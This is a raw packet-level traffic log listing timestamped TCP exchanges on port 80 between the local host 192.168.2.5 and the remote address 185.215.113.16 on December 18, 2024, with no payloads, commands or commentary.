Dec 18, 2024 15:21:34.436273098 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.437201977 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.437264919 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.437315941 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.437391996 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.438292027 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.438349009 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.438359976 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.438401937 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.439296007 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.439380884 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.439392090 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.439412117 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.440321922 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.440375090 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.440464020 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.440550089 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.441409111 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.441498041 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.441579103 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.441605091 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.442521095 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.442589045 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.442666054 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.442727089 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.443563938 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.443619967 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.443681955 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.443737984 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.444632053 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.444678068 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.444777966 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.444832087 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.445722103 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.445774078 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.445852041 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.445893049 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.446974039 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.447025061 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.447195053 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.447249889 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.447870016 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.447922945 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.448107004 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.448245049 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.449013948 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.449064970 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.449070930 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.449110031 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.450124979 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.450175047 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.450373888 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.450452089 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.451107025 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.451168060 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.451179028 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.451271057 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.452182055 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.452274084 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.452359915 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.452414989 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.453315020 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.453370094 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.453387976 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.453536987 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.454510927 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.454561949 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.454668999 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.454708099 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.455450058 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.455506086 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.455574989 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.455632925 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.456413984 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.456511021 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.456511021 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.456589937 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.457464933 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.457513094 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.457628965 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.458123922 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.458559036 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.458687067 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.458735943 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.459490061 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.459645033 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.459669113 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.459722042 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.460585117 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.460634947 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.460692883 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.460858107 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.461740017 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.461793900 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.461823940 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.461891890 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.462702990 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.462814093 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.462820053 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.462868929 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.463852882 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.463906050 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.463934898 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.464071035 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.464927912 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.465012074 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.465033054 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.465048075 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.465939045 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.466058969 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.466101885 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.466989040 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.467031956 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.467072964 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.468039989 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.468085051 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.604373932 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.604460001 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.604476929 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.604579926 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.605015039 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.605068922 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.605125904 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.605933905 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.605986118 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.606007099 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.606076956 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.606969118 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.607021093 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.607023954 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.607074976 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.608257055 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.608351946 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.608403921 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.610044956 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.610097885 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.610100985 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.610157013 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.610311031 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.610451937 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.610474110 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.610518932 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.611227989 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.611277103 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.611371040 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.611567020 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.612332106 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.612401962 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.612451077 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.612668037 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.613487959 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.613540888 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.613617897 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.613660097 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.614617109 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.614665985 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.614743948 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.614789963 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.615896940 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.616043091 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.616095066 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.616837025 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.616889000 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.616949081 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.617074013 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.617923975 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.618041992 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.618060112 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.618103027 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.618951082 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.618992090 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.619076967 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.619165897 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.620228052 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.620280027 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.620280981 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.620323896 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.621253014 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.621376991 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.621433020 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.622092009 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.622148037 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.622230053 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.622450113 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.623008013 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.623068094 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.623075962 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.623116970 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.624126911 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.624181032 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.624181032 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.624229908 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.625097036 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.625147104 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.625161886 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.625226974 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.626166105 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.626209021 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.626238108 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.626280069 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.627197981 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.627291918 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.627330065 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.627351046 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.628357887 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.628403902 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.628482103 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.628524065 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.629410982 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.629467964 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.629547119 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.629590988 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.630508900 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.630556107 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.630594969 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.630702972 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.631619930 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.631664991 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.631757021 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.631798029 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.632534027 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.632580042 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.632711887 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.632752895 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.633733034 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.633802891 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.633852005 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.634721041 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.634761095 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.634800911 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.634875059 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.635781050 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.635842085 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.635899067 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.635941982 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.636820078 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.636883020 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.636971951 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.637026072 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.637903929 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.637952089 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.638025045 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.638071060 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.638919115 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.639085054 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.639117956 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.639161110 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.640230894 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.640280008 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.640348911 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.640392065 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.641331911 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.641359091 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.641410112 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.641432047 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.642570972 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.642631054 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.642704010 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.642752886 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.643646002 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.643753052 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.643770933 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.643794060 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.644768000 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.644826889 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.644856930 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.644891977 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.645807981 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.645857096 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.645895004 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.645987034 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.646785975 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.646874905 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.646922112 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.647834063 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.647893906 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.647943020 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.647979975 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.649161100 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.649209976 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.649333954 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.649369001 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.650201082 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.650266886 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.650296926 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.650336027 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.651231050 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.651279926 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.651310921 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.651356936 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.652129889 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.652185917 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.652247906 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.652285099 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.653038979 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.653083086 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.653224945 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.653266907 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.654223919 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.654272079 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.654350042 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.654448986 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.655196905 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.655249119 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.655261040 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.655299902 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.656068087 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.656116009 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.656184912 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.656228065 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.657052994 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.657103062 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.657172918 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.657215118 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.658113956 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.658226013 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.658257961 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.658308029 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.659176111 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.659305096 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.659357071 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.660211086 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.660734892 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.796499014 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.796516895 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.796581984 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.797043085 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.797175884 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.797241926 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.798299074 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.798351049 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.798362970 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.798404932 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.799081087 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.799202919 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.799258947 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.800152063 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.800714016 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.800807953 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.803895950 CET	80	49817	185.215.113.16	192.168.2.5
